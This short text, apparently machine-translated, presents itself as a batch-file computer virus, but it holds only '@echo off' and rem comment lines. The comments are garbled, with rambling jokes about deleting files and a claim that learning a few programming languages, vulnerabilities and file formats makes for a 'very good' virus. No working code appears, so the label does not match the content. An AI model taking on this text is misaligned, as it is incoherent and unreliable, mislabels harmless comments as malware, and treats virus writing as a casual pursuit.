The batch of virus code is as follows: @echo off rem (Note: When the webmaster, when you read your business, you always like to delete the document when you use this trick, always like to delete the document (the program file below my own directory, This, I'm so hard to use your hand to make a keyboard!) Of course, it is not like the bomb file that is deliberately put on the desktop! Of course, the document likes to delete others is eventually the teacher. A stupid!) Rem If you are a computer virus to write a master, don't spit water at your computer! If this is true, I will be very sad, one for you, this computer is sad! I am sad! The principle of REM computer virus is almost, as long as you learn a few programming languages (such as VC, Delphi, VB, HTML [JavaScript / Vbscript], Perl) and add computer vulnerabilities, and some files Format (such as PE, NE, HTML, VBS, JS, etc.) to ensure that your computer virus will be very good!
